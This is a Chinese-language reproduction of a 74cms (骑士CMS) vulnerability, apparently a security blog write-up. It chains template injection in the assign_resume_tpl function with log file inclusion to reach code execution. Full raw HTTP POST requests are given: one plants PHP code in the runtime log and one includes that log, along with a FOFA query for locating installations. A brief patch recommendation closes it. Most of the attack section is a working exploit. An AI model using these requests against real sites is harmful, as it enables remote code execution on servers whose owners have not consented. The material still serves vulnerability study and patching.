骑士CMS模版注入+文件包含getshell漏洞复现
漏洞描述
骑士人才系统,是一项基于 PHP+MYSQL 为核心开发的一套 免费+开源 专业人才招聘系统,使用了ThinkPHP框架(3.2.3),存在CMS模板注入漏洞和文件包含漏洞。
漏洞影响
骑士CMS
FOFA
"骑士CMS"
环境搭建
此次采用 windows10+Nginx+MySQL+PHP,使用phpstudy进行的环境配置,注意PHP版本最好使用 PHP 5.5及以上,MySQL版本 5.7.6及以上,我这里使用PHP版本5.4.45
三、安装过程
官方公告地址
http://www.74cms.com/news/show-2497.html
/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行
漏洞复现
写入日志
POST参数:
http://your-ip/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
我们来POST一下看看
POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 192.168.1.6
Content-Length: 98
Cache-Control: max-age=0Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl
DNT: 1
Connection: close
Cookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu;
think_language=zh-CN; think_template=default
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show h="info" id="$_GET['id']"/>
可以看到返回了错误,日志已经记录了
我们来翻一下日志
日志路径: \upload\data\Runtime\Logs\Home
成功写入
接下来我们尝试包含日志,日志名称就是测试当天的年月日
包含日志
POST参数:
http://your-ip/index.php?m=home&a=assign_resume_tpl
POST:
variable=1&tpl=data/Runtime/Logs/Home/20_12_22.log
我们来POST一下看看
POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 192.168.1.6
Content-Length: 52
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl
DNT: 1
Connection: close
Cookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu; think_language=zh-CN; think_template=default
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
variable=1&tpl=./data/Runtime/Logs/Home/21_07_01.log
修复建议
下载官方最新补丁包
http://www.74cms.com/download/index.html